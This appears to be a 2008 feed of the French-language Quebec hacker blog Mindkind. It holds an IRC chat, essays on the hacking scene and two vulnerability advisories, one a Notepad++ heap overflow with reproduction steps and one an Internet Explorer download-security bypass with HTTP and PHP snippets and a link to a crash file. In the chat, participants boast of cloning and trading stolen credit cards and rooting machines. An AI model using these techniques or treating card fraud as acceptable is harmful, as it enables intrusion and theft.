PLANETE UNDERGROUND (BETA) - blog by Mindkind 2008-08-28T05:47:34Z Mindkind Copyright 2008, Mindkind SPHPBLOG And now some publicity...

]]> http://www.mindkind.org/index.php?entry=entry080816-010117 2008-08-16T00:00:00Z 2008-08-16T00:00:00Z Confrontation Old School - Next Generation <dark\s|de> vont etre pendu
<Katar> sa killé lé ccz bin raide
<Wyzeman> c ben correct dememe...
<syscall> sur mon e-commerce j'ai tjrs utilisé un TPE alors que sur TQC j'fais affaire avec paypal et ça convient très bien
<RassenKrieg> Comment une banque "internet" peu être gay ?
<RassenKrieg> lol
<Wyzeman> fini les pseudo haxor qui se pense hot pcq yon 30000 cc
<syscall> paypal offre beaucoup de solution et c'est peux couteux
<dark\s|de> pff
<dark\s|de> jnavais pomal avant ;p
<Katar> Wyzeman stun marcher
* MoOut has quit IRC (Quit: Peace and Protection 4.22.2)
<dark\s|de> sauf jai donnais
<RassenKrieg> effectiement, c'est pas pour rien que c'est devenu la méthode de payment la plus utilisé sur internet
<dark\s|de> une fois used
<dark\s|de> ;p
<Wyzeman> justement
<syscall> hehehe
<Wyzeman> cetais devenu un marcher
<Katar> dark\s|de , comme tlm lol
<Wyzeman> THATS THE FUCKING PROBLEME
<dark\s|de> etre sur ke ca se reliais pas a moi
<RassenKrieg> j'étais a boute des mandats postes lol
<Wyzeman> quand tu commence a monayer lunderground
<Wyzeman> ca perd pas mal dla saveur originel
<dark\s|de> UPS livre direct
<Katar> bah dépend
<Wyzeman> des cc pour payer sa ligne internet en 96-98
<dark\s|de> UPS air next day
<Wyzeman> stai chill
<syscall> lolllllllllllllllll
<RassenKrieg> 30$
<RassenKrieg> de shipping
<RassenKrieg> lol
<dark\s|de> depend stait koi
<Wyzeman> mais pour faire du mass market
<Wyzeman> c dla fucking marde
<dark\s|de> pis du poids blabla
<dark\s|de> stait les frais o debut qui etais gossant
<dark\s|de> apres jpayais les douane ak les cc sur leur site
<RassenKrieg> UPS ca prend 2 semaine se rendre ici je sais pas trop pourquoi, quand je commande d'Australie c'est moins long :)
<dark\s|de> sta nice
<syscall> anyway l'underground de 2008 c dla marde tant qu'à mois.. les années fin 90 début 2000 me manque en salle
<Katar> crissement
<RassenKrieg> underground de ?
<dark\s|de> wais moi si
<dark\s|de> ctait lfun en sale avant
<Wyzeman> syscall tout a fait daccord
<Katar> today stune perte de temps
<syscall> la scène underground en générale
<Wyzeman> et c sque mindkind essaye de preserver ;)
<Katar> pis tu risk dfnir dans marde
<Katar> + ke dautre chose
<syscall> ouais je sais Wyzeman mais.. probablement de moins en moins facile ;)
<Wyzeman> tout a fait
<RassenKrieg> underground de quoi lol... ta des films underground, de la musique, des livres tec etc etc ... je comprend pas ce que tu veux dire.
<Wyzeman> la releve est pas mal toute pourrite a base
<Wyzeman> RassenKrieg linformatique underground
<dark\s|de> Katar c pcq trop de ti connards se sont mis a spogner une job de surveillance pis les grande yeule de nerds de hacker ont devoiler leu truc pcq ca ava peur d gros neg en tol
<Wyzeman> un truc que ta probablement jamais connu
<RassenKrieg> J'ai 26 ... :)
<RassenKrieg> Mais ca m'intéresse pas, non.
<Katar> Wyzeman nah pas d'releve tout court
<Katar> c + sa l'probleme
<Wyzeman> Katar tu peux bien parler
<Katar> du monde komme mwa , ki gosse un peu rien de +
<Wyzeman> tu fais plus parti du probleme que dla solution
<Katar> ta yeule
<Katar> tu tla joue raide
<Katar> pis t kedqal
<RassenKrieg> C'est quoi ça en fait de l'informatique "underground" ( WTF )
<Katar> ta rien fais fasse a dautre
<Wyzeman> oui oui :)
<Katar> tu tprend pour un dieu
<Katar> t kedal
<syscall> lol
<Katar> tu joue a grosse tete dvant lé autre
<syscall> chicanez vous pas :P
<Katar> kossé sa taporte
<Katar> tata
<Wyzeman> et toi ? :)
<Katar> aide lé autre o lieu dte crere
<Katar> sti d'2
<dark\s|de> under c grabber des 0-days pis rooter des box pis trader contre cc
<Katar> mwa j'trouve t laite
<Katar> pis jtel dit
<Wyzeman> haha
<Wyzeman> aide les autres
<dark\s|de> sniffer
<dark\s|de> scanner
<dark\s|de> etc
<Katar> aide les autre a kwa
<Wyzeman> comme si javais pas donner :)
<Katar> jtun noob comem tu dit
<Katar> jai 0 connaissance
<Katar> :)
<Wyzeman> jtai pas traiter de noob
<RassenKrieg> <@dark\s|de> under c grabber des 0-days pis rooter des box pis trader contre cc = Toute des affaires GAY et inutiles... pour les accros du net.
<RassenKrieg> des affaires de flos qui amusent les jeunes dans le fond?
<dark\s|de> ca prennais pas des heures
<Wyzeman> et jai jamais parler de tes competence
<Wyzeman> juste de ta philosophie
<dark\s|de> jpassais 30m par jour thats it
<dark\s|de> pis jme fesais meme des cheques
<Wyzeman> bot & cc
<dark\s|de> les pay per signup
<Wyzeman> on va pas chier loin ak ca
<Katar> c du irc sa wyze
<RassenKrieg> je peux m'en faire tu suite un cheque la
<dark\s|de> a 50$ du signup
<RassenKrieg> lol
<Wyzeman> wtf irc
<syscall> Katar Wyzeman jle connais depuis des années et il c'est tjrs battu pour préservé la scène, c'est probablement le seul au QC qui ce bat constament avec ça et qui ce décourage pas
<dark\s|de> dans ltemps stait 50*2
<syscall> ya tjrs été actif sur la scène alors..
<dark\s|de> javais 2 check de 800 par mois
<dark\s|de> plus mes commandes
<dark\s|de> jmabonnais ak d proxy
<RassenKrieg> vous faites partie de la gagne qui paie pour des BNC pis des BOX, ça sert a quoi peux-tu m'expliquer ça, a quoi ça sert dans vie ??????
<dark\s|de> su mon propre site
<dark\s|de> ;p
<Katar> RassenKrieg
<Katar> ki a dit kon payait pour c truck la
<Wyzeman> syscall perd pas ton temps, jconnais deja la fin dla conversation :)
* louis sets mode: +b *!*14words@WhiteWolfSS.users.undernet.org
* RassenKrieg was kicked by louis (I recommend you see a therapist)
<louis> dehors lui
<louis> stun osti de fatiguant ;p
<Katar> pis la pass d CCz revien en compte
<Katar> sti kié tata
<dark\s|de> jai eu les premiere clearlight o quebec ;p
<syscall> hehehehe
<Wyzeman> jlai dans mon clipboard ;)
<Wyzeman> katar jclonais des cc que tetais encore au primaire, so....
<dark\s|de> ca vallais 500$ dans ltemps
<louis> SeRv|eTtEsKi
<louis> remove moi :(
<louis> [22:53:07] <RassenKrieg> criss pour qui te prend
<louis> [22:53:11] <RassenKrieg> je te fais remover
<louis> [22:53:15] <RassenKrieg> sera pas long :)
<louis> [22:53:18] <louis> ok :)
<SeRv|eTtEsKi> lol
<syscall> pkoi tu las banni au juste ?
<dark\s|de> payer 0 payer les douane ak d cc
<dark\s|de> vendu ca 150
<SeRv|eTtEsKi> louis :P
<Katar> Wyzeman chacun fais aik son age pis son temps
<Katar> c kwa ton mérite
<Katar> encort kedal , joue a tete enflé
<Katar> té bon la dedans
<SeRv|eTtEsKi> jva mchercher une beer
<Katar> sti d'laite
<dark\s|de> dla potion
<dark\s|de> ;)
<Wyzeman> <Katar> Wyzeman chacun fais aik son age pis son temps
<Wyzeman> ca c une phrase inteligente
* louis sets mode: -b *!*14words@WhiteWolfSS.users.undernet.org
<SeRv|eTtEsKi> lol :P
<louis> jva linviter
<louis> faire croire que jmecuse
<Katar> ta yeule la
<louis> pis lerabnnir
* RassenKrieg has joined #insomniaque
<Wyzeman> domage que tu la noie dans un vomis de connerie
<RassenKrieg> ostie de content
<louis> jmexcuse RassenKrieg
<Katar> bin oui c sa
<Katar> noi toi aik
<Katar> stp
<Katar> tu peu bin pleuré kia pas d'releve après
<Wyzeman> quand jdis qui a pas de revele
<Wyzeman> jparle pas que la releve a pas de skill
<louis> dark\s|de pas besoin
<dark\s|de> ok
<Wyzeman> mais quelle a pas de but
<RassenKrieg> pas eu de réponse a quoi sert dans vie une box pis un bnc par contre
<Wyzeman> RassenKrieg ca sert a rien
<Katar> normal toute ceu ki on dkoi a leu apprendre se montre + hot o lieu d aidé
<dark\s|de> a faire du udp
<syscall> RassenKrieg une box à plein de trucs.. un BNC à rien
<dark\s|de> hehe
<dark\s|de> pis crasher la box
<Katar> si tu achete une box pour un bnc , t bad
<Wyzeman> Katar jprobablement un de ceux qui on le plus aider les new generation de hacker depuis 98
<Katar> jamais di kta pas aidé
<Wyzeman> fak vien pas faire chier
<Katar> mais reste ke toi et kekzun jouer pomal au supérieur
<dark\s|de> en 1998 yavais dea la faille dans les NS
<Katar> au lieu d'réalisé ke tlm commence kekpart
<Wyzeman> moi et kekun ?
<Katar> pis avance a son rythme
<Katar> kekzun
<dark\s|de> avait juste a scanner des wingate binder ca
<Katar> apprend a lire
<Katar> asti
<dark\s|de> po besoin de bnc
<Wyzeman> aprend a ecrire...
<RassenKrieg> ça doit être parce que j'ai jamais eu d'intérêt pour ça que je comprend rien surtout le but d'avoir une BOX pis un BNC pis payer pour ( comme certains fonds ) ... chacun son tripe faut croire.
<Wyzeman> Katar je suis parfaitement conscient que tout le monde doit partir quelque part
<Katar> non merci
<Katar> non merci
<Katar> pour sa fodrais jretourne a lécole
<Wyzeman> pour avoir dit pas mal la meme chose que tu vien de dire
<Wyzeman> vla 10 ans
<syscall> faut avoir connu la scène ya 10 ans
<Wyzeman> et mettre batu pour faire valloir les droits des "newbS"
<syscall> pour pouvoir conprendre la situation actuel
<louis> hey RassenKrieg
<louis> [22:54:21] <RassenKrieg> Lol, tout le monde t'hais parce que tu ban sans raison, servietski ma débannit, ma blonde est 499, pis servietski c'est le 500, bonne chance:)
<Katar> bah mwa jtarrivé dans scene vla p-e 5 ans
<louis> c'est pas serviette
<louis> c moi qui ta deban
<Wyzeman> mais faut que la nouvelle generation veullent se faire aider
<louis> ;)
<Katar> fak ton débat d droits
<Katar> jlé pas vu
<Wyzeman> et comprendre
<RassenKrieg> Vous apellez vraiment ça une "scène underground informatique"
<Wyzeman> que runner des botnet
* X sets mode: +b *!*@WhiteWolfSS.users.undernet.org
* RassenKrieg was kicked by X ((louis) DEHORS MON OSTI D'LAID!)
<Wyzeman> spa la fin du monde
<Wyzeman> wtf
<SeRv|eTtEsKi> lol
<Katar> jcé bin kdé botnets c lame n stuff
<Katar> mais on é sur irc
* kzeal has joined #insomniaque
<Katar> fak fo sattendre a ske sa rentre dans l'sujet
* dark\s|de sets mode: +v kzeal
<louis> [22:58:35] <RassenKrieg> non
<louis> [22:58:38] <RassenKrieg> il ta pas vu :)
<louis> [22:58:39] <RassenKrieg> faire
<louis> [22:58:45] <RassenKrieg> t'es faite man, remove user
<louis> [22:58:46] <RassenKrieg> pis toute
-> -rassenkrieg- http://www.mindkind.org/wiki/underground/start
<Katar> lol
<dark\s|de> tin ote ancien
<Katar> pis toute
<dark\s|de> kzeal
<Katar> pis toute
<Katar> hein louis
<Katar> :P
* Dafe has quit IRC (Quit)
<Wyzeman> katar je serais le plus heureux au monde
<Katar> Wyzeman tier c vrai kle 3/4 veule hacker pour fair chier lmonde aujourd'hui
<Wyzeman> si la vieille generation trouvais moyen de sentendre avec la nouvelle
<Wyzeman> et sharer leurs experience
<Wyzeman> Katar cetais vrai avant aussi
<louis> ahah
<louis> [22:58:55] <louis> :)
<louis> [22:58:58] <louis> jai peur de toi stéffrayant
<louis> [22:59:07] <RassenKrieg> ta aucun rapport, tu te fais kicker parce que t'es laid pis bannit le monde
<louis> [22:59:20] <RassenKrieg> bah mikalee est 499 ce que t'es pas, remove right there
<louis> [22:59:27] <RassenKrieg> m'en va parler a servietski right now aussi
<louis> [22:59:30] <RassenKrieg> good luck :)
<Wyzeman> c la premiere motivation qui amene a voulloir hacker
<louis> [22:59:37] <louis> ...
<louis> [22:59:42] <louis> au pire des pire serviette va me monter
<dark\s|de> ca fait mouiller d filles kan on hack
<louis> [22:59:44] <louis> t'es juste trop gay
<dark\s|de> ca veux nous fourrer
<Wyzeman> syscall http://www.mindkind.org/wiki/underground/start (et tout ceux qui veullent un petit background de quoi on parle presentement)
<Katar> Wyzeman c drole ke j'parle souvent de ddos botnet pis kjai jamais voulu apprendre a hacké pour peté l,monde
<louis-> [22:59:48] <RassenKrieg> te monter?
<louis-> [22:59:51] <RassenKrieg> il t'aime pas d'avance
<louis-> [22:59:52] <RassenKrieg> LOL
<louis-> [23:00:10] <louis> ,..
<louis-> [23:00:14] <louis> toi personne taime
<Katar> jai juste vu ke stais pas tro compliké
<louis-> ahah
* louis- was kicked by Umbrella (textflood)
* louis- has joined #insomniaque
<Katar> pis jié pris gout
<louis-> osti que yé laid
* dark\s|de sets mode: +v louis-
<Katar> .up louis-
* dark\s|de sets mode: +o louis-
<Wyzeman> he
<syscall> Katar..
<Wyzeman> jai probablement coder un des premier botnet
<Wyzeman> en tcl...
<dark\s|de> z.tcl?
<Wyzeman> juste asser pour me rendre compte que ca menais null part
<dark\s|de> ;p
<Wyzeman> 6 ans apres stai la grosse mode (Rectum Crew)
* Retrieving #insomniaque modes...
<dark\s|de> stait koi le nom de ton tcl
* Wyzeman sets mode: -b *!*@WhiteWolfSS.users.undernet.org
<Wyzeman> bonne question
<Wyzeman> jlai perdu dans un de mes nombreux format
* RassenKrieg has joined #insomniaque
<dark\s|de> je lai encore moi
<syscall> c'est fréquent ça
<Wyzeman> haha
<dark\s|de> pratique
<Katar> jcé bin mais reste que mwa j,ai pas voulu apprendre a hacker pour planté l'monde , moi stais davoir accès a d'Linformation que t pas sposé a base
<syscall> on est tous à l'odre sur nos postes
<RassenKrieg> non mais calisse
<RassenKrieg> débannisser moi quelqu'un
<RassenKrieg> lol
<Wyzeman> jaurais cru que ca setais perdu dans les meandre de sector_x (pre mindkind)
<RassenKrieg> ostie de flo attard.
<RassenKrieg> de Louis
<dark\s|de> louis
<dark\s|de> c ton heure de gloire
<dark\s|de> ;p
<Wyzeman> Katar stune bonne raison
<louis> haha
<louis> JTAIME RassenKrieg
<dark\s|de> heheh
<Katar> yé donbin frustré lui
<RassenKrieg> yé tout content :)
<louis> JE SUIS TON DIEU!
<louis> RassenKrieg yé en tabarnka quand jle ban
<RassenKrieg> il me croit pas qui va se faire remover
<RassenKrieg> lol
<louis> dapres moi il scrosse
<Wyzeman> bon
<RassenKrieg> Louis : Sans raison oui
<RassenKrieg> hahaha
<louis> hey RassenKrieg
<louis> jai ton ip ;P
<RassenKrieg> :)
<Wyzeman> jpense que la conversation est dead]]> http://www.mindkind.org/index.php?entry=entry080813-233300 2008-08-14T00:00:00Z 2008-08-14T00:00:00Z La vache qui rit

Vacances pour tout le monde, et les lémuriens s'amusent à la ferme.

Nous avons installé la Mkd-bar v0.1a so called Kamarad Openbar sur nos sites.

Aussi certain s'amuse à essayer de gagner une chèvre avec winagoat.

enjoy.]]> http://www.mindkind.org/index.php?entry=entry080810-144054 2008-08-10T00:00:00Z 2008-08-10T00:00:00Z Qu'est-ce que Mindkind?
Qu'est-ce que Mindkind?
Souvent le monde dans la rue me reconnaisse et me demande : "Mais Last, qu'est-ce Mindkind?". Je leur réponds ce que Wyze me dit depuis des années : "C'est ce que tu veux que ça soit". Alors ils me regardent les yeux ronds et poursuivre leur chemin.

Bon, la surprise, je give up dès le début de l'article de vous expliquer ce qu'est Mindkind. Je suis persuader que si j'explique n'importe quoi, dans mes mots, avec mes expériences, vous n'allez rien croire, rien voir donc rien comprendre de ce que je veux dire.

En faite, fuck mon explication et concentrez-vous sur mon premier paragraphe de blah blah, plus particulièrement sur :
"Souvent le monde dans la rue me reconnaisse et me demande"
C'est ma phrase. Who cares.
Ce qui important now, c'est de vous rappelez ce que vous avez ressenti quand vous avez lu cette phrase. Le secret est la.

Moi quand je lis ça, je ris. Car je sais qu'en réalité, PERSONNE me croise dans la rue pour me demander une pareil question. C'est une joke. Je trouve que c'est drôle parce que justement c'est pas vrai, et ça serait encore plus marrant si ça arriverait pour vrai. C'est le genre de farce qu'on utilise dans les "égo-joke". C'est le fun des "égo-joke" car l'individualisme et l'égocentrisme sont "in" durant les dernières années. Je ne fais que suivre une tendance démocratique...

Concentrer vous maintenant sur votre réaction au moment de la lecture de la phase. Si vous avez souris, vous avez compris ce qu'est Mindkind, sinon, ben laisser faire.

Si vous avez trouvé qu'on se croit, qu'on se vente, qu'on s'invente. Et bien vous avez raison. En faite c'est la croyance populaire sur Mindkind quand on en parle à date. CEPENDANT, si on pourrait séparer les réactions suite à cette impression on aurait 2 catégories :
0 : Un certain dégout car on aime pas les gens avec un gros égo.
1 : Un certain sourire, car on aime ce genre de blague.

J'espère pour vous que vous êtes du type 1, sinon faite moi plaisir, changer ou parter pour toujours.


Sur ce je vais quand même vous répondre.. mais d'une manière que vous allez (je l'espère) comprendre (skillz en orientée objet requises genre ce concept la). Mindkind c'est une classe abstraite, un peu comme une interface, où chacun dérive sa propre vision et s'en fait une instance. Perso je crois que la raison pour laquelle une personne ne peut comprendre ce que c'est pour moi, c'est que leur vision de la classe de base est pas la même que la mienne, et malheureusement ça peut arriver que c'est pas compatible pentoute. Dans ce cas la, n'essayer pas de vous mettre dans le même package que moi et compiler pour tirer une conclusion, car je vous garanti que ça va chier raide.. tout simplement parce qu'on utilise pas la même base class même si elle possède le même nom.

i'm off again.

-- LastCall_ avec trop d'heures de Java dans le corps dernièrement



]]> http://www.mindkind.org/index.php?entry=entry080721-223408 2008-07-22T00:00:00Z 2008-07-22T00:00:00Z Entropie #1 Call for Paper entropie 01 CFP


ps : je vous rappelle que nous aussi on prend les articles la ! ;)]]> http://www.mindkind.org/index.php?entry=entry080714-112437 2008-07-14T00:00:00Z 2008-07-14T00:00:00Z maintenance
reason: upgrade de OS et remove de rootkits & migration d'une partie sur un autre serveur.

Bare with us.. heh
]]> http://www.mindkind.org/index.php?entry=entry080712-002620 2008-07-12T00:00:00Z 2008-07-12T00:00:00Z Notepad++ Multiples vulns # Notepad++ multiples vulnerabilities:
# Vendor: http://notepad-plus.sourceforge.net
# Impact : kind of critical
# Vendors status: patching ...
# Bugs: multiples heap overflow,N.D.P (Null Dereference Pointer)
#
# Comment:
# Déjà je dois avouer que j'adore notepad++ c'est l'éditeur parfaitement conçu pour un
# auditeur.
# Hélas on as quelques bugs facilement détectable dessus :
#
# 1) Long filename Dénial of Service(Null Dereference pointer): 200 chars filename suffisent pour faire planter le soft
# 2) Search heap overflow ( pas cool pantoute :/ )
# 3) big file heap overflow
#
# le 1) et le 3) sont des classiques dans ce genre d'audit, le long filename nous DoS notepad++ , et le big file (~250 mo)
# nous heap overflow notepad++.
# Mais le 2) est relativement funny héhé :)
# On sais que un auditeur qui va auditer un software quelqu'onque va commencer par le search sur
# des fonctions basic que l'ont sais relativement vulnerables si elles sont mal utilisées...
# comme : strcpy,strcat,fgets,sprintf,vprintf,vfprintf,vsprintf,vsnprintf,etc,etc
# en PHP pareil : eval(),system(),include(),etc etc
# donc , il fait un search (comme je le ferais moi meme) dans un directory pour checker
# comment est constitué le cms/software, voir comment il utilise ces fonctions,etc ...
# donc par exemple,disons que la premiere chose que Mr-X check c'est un snprintf,
# si il utilise l'option usefull de notepad++ le search dans le repertoire
#( les puristes me parlerons de grep ,m'en branle solidement dans ce cas-ci.)
# il se fera powned a partir du moment que la ligne dans laquelle le string qu'il cherche
# fais plus que 4098 chars...héhé ...
# mais comment reproduire ca ? create un fichier nommée blabla.txt avec powned AAAAAA x 5000 dedans, et un autre blibli.txt .
# dans blibli.txt mettez whatever, ouvre blibli.txt et faites un search pour le string "powned"
# boom :]
]]> http://www.mindkind.org/index.php?entry=entry080708-003538 2008-07-08T00:00:00Z 2008-07-08T00:00:00Z retour de newffr http://www.newffr.com est de nouveau ouvert avec un vieu backup datant de 2007. Tout le monde en a deja un peu parler, fak on fait juste faire suivre la news pour ceux qui sorte du bois.

presser vous pas vous allez rien manquer personne a encore poster dequoi.


pour ceux qui voudrais parler sur IRC au staff du forum (on se demanderais bien pourquoi quelqu'un voudrais fair ca).

#newffr
reseau : silc.dg-sc.org (un trou perdu)]]> http://www.mindkind.org/index.php?entry=entry080702-175350 2008-07-02T00:00:00Z 2008-07-02T00:00:00Z psychologie et hacking pre-reading here


Une des choses qu'on remarque depuis l'aire de l'industrialisation est que l'être humain devient débile à faire de faire toujours la même chose. Visser des boulons à la GM rend neo-zombie et c'est normal.

Mais qu'en est-il de la sécurité informatique?

On remarque en analysant le domaine, qu'effectivement il porte bien son nom, il s'agit de sécurité ET d'informatique. 2 choses complètement différentes qui forment un tout que l'ont connait bien.

Malheureusement, les défauts psychologiques de bases provenant des déformations professionnelles de chaque domaine se rapporte aussi au produit final.

En informatique, on sait tous qu'on est des asperges. À force de travailler et de parler avec des machines, on oublie plusieurs éléments essentiels de l'être humain et on devient du genre autistique. Le concept d'asperger vaut la peine d'être compris, donc read on:
http://en.wikipedia.org/wiki/Asperger_syndrome
qui se résume à "difficulties in social interaction and by restricted, stereotyped patterns of behavior, interests and activities"

Autrement dit on s'enferme dans nos mondes et on a de la misère à se faire comprendre par les autres. Vous vous en rendez pas compte parce que vous êtes un lémurien, mais mettez n'importe quel neo-zombie dans un party de lémurien et vous obtenez quelqu'un qui s'emmerde.

Donc, une fois asperge on à tendance à devenir "anti-social". Ce qui amène à détester la société, à détester ce qui établie, car anyways la masse nous comprends pas, alors pourquoi jouer leur game?

Ça ne veut pas dire que tout les informaticiens sont des asperges, mais tout ceux qui en abuse se font attirer par le coté obscure de la force un jour ou l'autre et finissent par coder tout seul le soir à la maison en buvant une bière.

Enough said about the lémurien générique. Maintenant regardont le concept de sécurité.

La sécurité sans être mélangée avec l'informatique revient à protéger quelque chose, généralement de quelqu'un ou d'une catastrophe.

On serait tanter de dire que le meilleur exemple c'est la police. Mais ce n'est pas le cas. La police s'ils abusent, finissent par se faire réprimander royalement ou encore tirer une balle dans le front. Les gardes de sécurités sont un meilleur exemple. Eux y'on plus de l'attitude, et généralement il abuse car il n'ont pas vraiment de vrai pouvoir.

Donc en prends cette mentalité la de sécurité, et on scrute un peu. La personne doit en tout temps se méfier. C'est sa job. Quelqu'un entre dans le bulding, est-ce un bandit? Il est 11h pm et il semble venir starter son chiffre.. est-ce un bandit ou une asperge qui commence sa journée de travail? Toujours le questionnement, toujours la méfiance. C'est sa job.

Répéter ça 8h par jour, 5 jours par semaines avec des chiffres de 12 heures, et vous avez maintenant l'attitude d'un garde de sécurité qui se croit.

Encore la, c'est pas tout les gardes qui sont de ce genre la. Y'en a qui sont cool, qui comprennent qu'il sont en faite juste un concierge qui doit rester prudent mais gentil en même temps. Qu'ils sont payer cher pour lire le journal et écouter la TV, paske c eux autres qui se font buter en premier si ya un raid.

Donc bref, la sécurité instaure une méfiance. Curieusement, et c'est la que le mélange est explosif, un certaine confiance en soit doit s'installer profondément dans une personne qui fait la sécurité. Elle est convaincu d'être le good guy hein? C'est alors que l'over confiance entre en jeu. Si un garde n'a pas confiance en lui, alors comment il va spotter le truant, comment il va pouvoir se défendre en cas d'attaque. Il faut aussi laisser une image de confiance pour que les gens nous fassent confiance.

Dans le monde réel, certains suivent des cours de karaté d'auto défense et etc, mais au niveau psychologique, tout ce que ça fait, c'est la même chose que dans un monde virtuel : on se bâtie une confiance en soit. Malheureusement ben du monde savent pas pentoute comment faire, et se bâtissent un égo-confiance en soit. C'est le piège que tout le monde fait, et que la majorité de la populace qui ont supposément confiance en eux font. Bâtir sa confiance sur son égo, c'est bâtir une confiance d'une image de soi-même... ça peut marcher quand on est le bonhomme qui reste au fond du couloir à lire le journal, mais dès que quelqu'un rentre dans la bulle, oh lala l'égo se défends car il fait face au jugement d'un autre.

Bon,
nous voila donc maintenant prêt à faire le lien.
Quelqu'un en informatique. Quelqu'un en sécurité.
Un asperge. Un parano.
La même personne.

Voila où on est donc rendu. En plus les défauts se mélange bien, quoi de plus convivial qu'un anti-social pour être parano. Perfect match. Aussi, quoi de plus convivial qu'un gros égo sur de lui, et une personne qui ne fait que se focusser que sur SON domaine (un connaisseur).

Le mélange donne du monde qui sont en sécurité, qui sont très bon voir même excellent dans le travail, qui ont une forte passion pour la chose, mais qui en même temps sont des totals assholes avec qui sont généralement pas agréable à cotoyer.

Peut-être ce n'est pas applicable car tout pousser? C'est vrai, y'a pas que des épais.. mais à un moment donné ou un autre, à force de faire de la sécurité informatique abusivement, on fini par développer le pattern et à embracer ce coté la.

re-lire encore l'article :
http://lists.immunitysec.com/pipermail/ ... 05108.html
On y voit donc apparamment 2 pôles.. le hacker blackhat qui dit que c'est une passion et les whitehats qui se font chier dessus. L'auteur est visiblement dans un groupe et contre l'autre, du moins, si ce n'est
pas du black vs white il trace une ligne entre lui et les autres. Yé bad, yé désolé, yé écoeuré, y trouve que le hacking ça suxx et surtout qu'il est différent!

.. WRONG!

Si on tient en considération tout l'article que vous lisez présentement, on voit que finalement, l'auteur est juste quelqu'un en sécurité informatique (ya beau pas travailler dans le domaine, si son brain est mostly occupé à faire ça dans sa vie on peut dire qu'il fait partie du dit domaine autant que quelqu'un qui work la dessus de 9 à 5) qui dumpshit sur d'autres en sécurité informatique.

En bref, une asperge parano qui chiale contre d'autres asperges paranos.

La on est rendu à la fin du post.. et on a un goût morose dans bouche unpeu comme quand on lit le post de LMH sur info-pull.com...

Eh bien, garder le sourire, car l'informatique et surtout la sécurité informatique est à l'age de pierre encore. On ne voit que les débuts.. tranquillement pas vite le domaine va s'ouvrir sur le monde, et ça va finir par soit A) avoir de l'allure ou B) ne plus exister.


LastCall_'s out.

++

]]> http://www.mindkind.org/index.php?entry=entry080702-002803 2008-07-02T00:00:00Z 2008-07-02T00:00:00Z IE ALL (windows) Download/File Security Bypass # Product : IE ALL (windows)
# Bug : Download/File Security Bypass
# From : Remote
#
# If you create an empty file called test.exe in your /www/ folder when you get it via IE , FF , Opera , etc, you'll
# get prompted for download/execute the file, right.
#
# But if we put inside our .exe , some html like a simple :
# <html>
# <head><title>bou!</title></head>
# <body>
# <script>window.print()</script>
# </body>
# </html>
#
# What happens ?
# Firefox ,Opera still ask for download the .exe, but IE * execute this html =)
#
# Another exemple :
# If we put instead of the html code , some header like the pdf one :
# %PDF-1.4
#
# What happens ?
# IE says "Internet Explorer can not display this Web page"
#
# But in reality , our file got downloaded & adobe was launched "silently" (just have a look in TaskManager)
# To prove my point you can try this file with IE * (acrobat reader * should crash) : http://209.190.122.178/HI2.exe
# This file is a DoS that i've discoverered in acrobat reader renamed with an exe extension, the advisory is located here : http://milw0rm.com/exploits/5687
#
# So what's going on ?
#
# Let's try the pdf thing:

GET /HI2.exe HTTP/1.0
Host: Whatever.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Bob) // Internet Explorer use Mozilla/***(compatible; MSIE, for understanding what is made for Netscape...
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shock
wave-flash, */*
Accept-Language: fr-ca
Connection: Keep-Alive


Response Header:
HTTP/1.1 200 OK
Date: Fri, 20 Jun 2008 15:29:25 GMT
Server: Apache
Last-Modified: Thu, 19 Jun 2008 20:46:16 GMT
ETag: "a010c-2db3b-4500b118a9600"
Accept-Ranges: bytes
Content-Length: 187195
Keep-Alive: timeout=10, max=75
Connection: Keep-Alive
Content-Type: application/x-msdownload


# Now let's see the print one:

GET /print.exe HTTP/1.0
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Bob)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shock
wave-flash, */*
Accept-Language: fr-ca
Connection: Keep-Alive


Response Header:

HTTP/1.1 200 OK
Date: Fri, 20 Jun 2008 15:32:10 GMT
Server: Apache
Last-Modified: Wed, 18 Jun 2008 17:51:19 GMT
ETag: "a010a-63-44ff48207b3c0"
Accept-Ranges: bytes
Content-Length: 99
Keep-Alive: timeout=10, max=75
Connection: Keep-Alive
Content-Type: application/x-msdownload


# Let's do a test :
<?php
header('Content-type: application/x-msdownload');
header('Content-Disposition: attachment; filename="print.exe"');
readfile('print.exe');
?>
# Working as it should, you will get prompted for a download on all browsers
<?php
header('Content-type: application/x-msdownload');
readfile('HI2.exe');
?>
# Firefox & Netscape ask for download file.php, Opera ask for download file.exe, and IE show the content of file.exe.
# So if no Content-Disposition: is supplied with the Content-Type:application/x-msdownload ,IE try to read the file,
# unless to check the extension, and prompt ANYWAYS for download/execute.
#
# But wait a minute, there's a funny bug here ( http://milw0rm.com/exploits/641 ):
# http://site.com/123456.exe?12345.log //notepad is launched with the content of the 123456.exe (you need a real executable btw .)
# This still unpatched on IE * , i guess this advisory explain the whole fuck
# So what can we do with this ? we can easly pown urlmon.dll, but this is another advisory that will be related to this one :]
#
#
# So let's think ,Microsoft suggest that safari users, should remove them browser, because of the unsecure file download policy.
# ( http://www.microsoft.com/technet/securi ... 53818.mspx , http://cve.mitre.org/cgi-bin/cvename.cg ... -2007-4424 )
#
# Then i guess i should suggest to IE's users to use Firefox as a default browser, untill Microsoft stops them strategic marketing propaganda
# and then review their software specially designed to get powned since 1995 a.k.a IE 1.0
#
# Greetz: French/Quebec community, http://spiritofhack.net/
#
# "If in times like theses you can talk about individual freedoom, you're propably a terrorist"

Reference on IE6:
http://support.microsoft.com/kb/329661/en-us/
]]> http://www.mindkind.org/index.php?entry=entry080701-023848 2008-07-01T00:00:00Z 2008-07-01T00:00:00Z quebec hacking force banned
Warning Onlineguardian a banni " quebechackingforce.forum-actif.net " hébergé sur le service forumactif.com pour cause de non respect des conditions générales d’utilisation.
Les raisons possibles de suppression sont les suivantes :

* Contenu violent ou repoussant
* Contenu violent ou incitant à la haine
* Contenu diffamant et/ou atteinte à l’intégrité d’une personne
* Contenu à caractère sexuel et/ou pornographique
* Actes dangereux et pernicieux
* Violation des droits d’auteurs
* Spam
* Pages de phishing et/ou malware
* Fraude à la carte bancaire
* Piratage / hacking


